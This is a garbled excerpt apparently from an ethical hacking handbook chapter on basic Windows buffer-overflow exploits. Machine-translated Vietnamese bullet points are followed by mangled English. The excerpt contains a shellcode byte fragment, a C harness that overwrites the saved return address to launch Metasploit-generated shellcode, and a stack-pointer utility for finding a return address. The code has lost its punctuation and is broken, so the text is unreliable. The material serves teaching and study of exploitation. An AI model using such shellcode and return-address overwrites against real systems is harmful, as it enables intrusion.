• Kiểm soát EIP • Xác định (các) bù đắp • Xác định các vector tấn công • Xây dựng khai thác bánh sandwich • Kiểm tra khai thácKhai thác nghiên cứu? Hacker đạo đức cần nghiên cứu khai thác để hiểu nếu một lỗ hổng khai thác được. Đôi khi các chuyên gia bảo mật sẽ nhầm lẫn tin và xuất bản các báo cáo: "Lỗ hổng này là không khai thác." Mũ đen | Chapter II Basic Windows Exploits 261 x1f x84 x3f x22 x25 x12 xf0 xd2 x6b xa3 x5f x89 x3a x47 x3f xb0 x95 x4a x9f x5d x41 x5a xd5 x3d x95 x5a x5f xd7 xf5 xcf x88 xf2 x1a x85 xe5 x16 x7a xcd x94 xe6 x9b x86 xac xda x95 x06 xd8 x5d x6e x5a x79 x5d x76 x4e x3f xdf x95 xc6 x64 xd6 x1e x46 x5f xbe x22 x19 xe5 x20 x7e x10 x5d x2e x9d x86 xaf x86 x76 xb6 x5e xd2 x41 x2e x4c x28 x94 x48 x83 x29 xf9 x25 xb5 xba x7d x68 xb1 xae x7b x46 xd4 xd6 int main int ret ret pointer for manipulating saved return ret int ret 2 set ret to point to the saved return value on the stack. ret int scode C grayhat cl . C grayhat This harness should just launch our shellcode that simply launches . The shellcode isn t optimized for but it s definitely easier to get non-optimized shellcode from a web page than to build optimized shellcode ourselves. The result of this execution is shown in Figure 11-4. Bingo the shellcode works You may be wondering why the program crashed after calling the calculator. As seen in Figure 11-3 the default setting for EXITFUNC is seh which will expect a stored exception handler when exiting. Since we don t have any stored exception handlers registered the program will crash. To avoid this we could have selected thread to safely kill the thread when exiting the main function. Now let s move on toward our goal of exploiting to do the same thing. PART III Figure 11-3 Screenshots of Metasploit shellcode generator Gray Hat Hacking The Ethical Hacker s Handbook 262 Figure 11-4 Testing our shellcode to execute the command Getting the Return Address Just as you did with Linux build a small utility to get the return address C grayhat type get_sp asm mov eax esp int main printf Stack pointer ESP 0x x n get_sp C grayhat cl . compiler output removed for brevity . C grayhat Stack pointer ESP 0x12ff60 On this Windows XP machine we can reliably use the stack pointer address 0x0012ff60 in .
